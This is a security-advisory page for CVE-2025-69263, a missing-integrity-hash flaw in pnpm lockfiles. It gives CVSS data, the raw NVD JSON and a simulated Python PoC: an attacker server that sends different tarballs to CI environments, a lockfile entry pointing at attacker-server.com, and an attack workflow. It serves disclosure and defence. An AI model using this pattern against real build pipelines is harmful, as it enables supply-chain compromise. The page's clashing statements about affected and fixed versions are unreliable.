Security Vulnerability Report
中文
CVE-2025-69263 CVSS 7.5 HIGH

CVE-2025-69263

Published: 2026-01-07 22:15:44
Last Modified: 2026-01-12 21:52:22

Description

pnpm is a package manager. Versions 10.26.2 and below store HTTP tarball dependencies (and git-hosted tarballs) in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed. An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection. This issue is fixed in version 10.26.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:* - VULNERABLE
pnpm < 10.26.0
pnpm 10.26.0 - 10.26.2 (affected)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-69263 PoC - Simulated Attack Scenario # This PoC demonstrates how an attacker can exploit the integrity hash absence import http.server import hashlib import json from datetime import datetime class MaliciousTarballServer(http.server.BaseHTTPRequestHandler): """Attacker-controlled server serving different content based on request""" def do_GET(self): # Normal tarball content (served on first install) normal_content = b'PK\x03\x04...' # Valid tarball header # Malicious tarball content (served after lockfile committed) malicious_content = b'PK\x03\x04# Malicious package with backdoor\n' # Check if request comes from CI/CD or has specific indicators user_agent = self.headers.get('User-Agent', '') if 'CI' in user_agent or 'GitHub' in user_agent or 'GitLab' in user_agent: # Serve malicious payload to CI/CD environments content = malicious_content print(f"[{datetime.now()}] Served MALICIOUS payload to: {user_agent}") else: # Serve legitimate content to developers content = normal_content print(f"[{datetime.now()}] Served NORMAL payload to: {user_agent}") self.send_response(200) self.send_header('Content-Type', 'application/gzip') self.send_header('Content-Length', len(content)) self.end_headers() self.wfile.write(content) # Attacker workflow: # 1. Publish malicious package to npm with HTTP tarball dependency # 2. Set up controlled server (MaliciousTarballServer) # 3. Wait for victims to install package and commit lockfile # 4. Modify server to serve different/malicious payload # 5. Victims in CI/CD get backdoored code # Vulnerable pnpm lockfile entry (no integrity hash): vulnerable_lockfile_entry = { "packages": { "/my-malicious-dep/1.0.0": { "resolution": { "tarball": "http://attacker-server.com/malicious.tar.gz" } # Missing integrity hash - the core vulnerability } } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69263", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:43.727", "lastModified": "2026-01-12T21:52:22.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Versions 10.26.2 and below store HTTP tarball dependencies (and git-hosted tarballs) in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed. An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection. This issue is fixed in version 10.26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-494"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:*", "versionEndExcluding": "10.26.0", "matchCriteriaId": "A3F90B60-F345-4158-ABB3-A5F444A64C65"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/0958027f88a99ccefe7e9676cdebba393dfbdc85", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-7vhp-vf5g-r2fw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}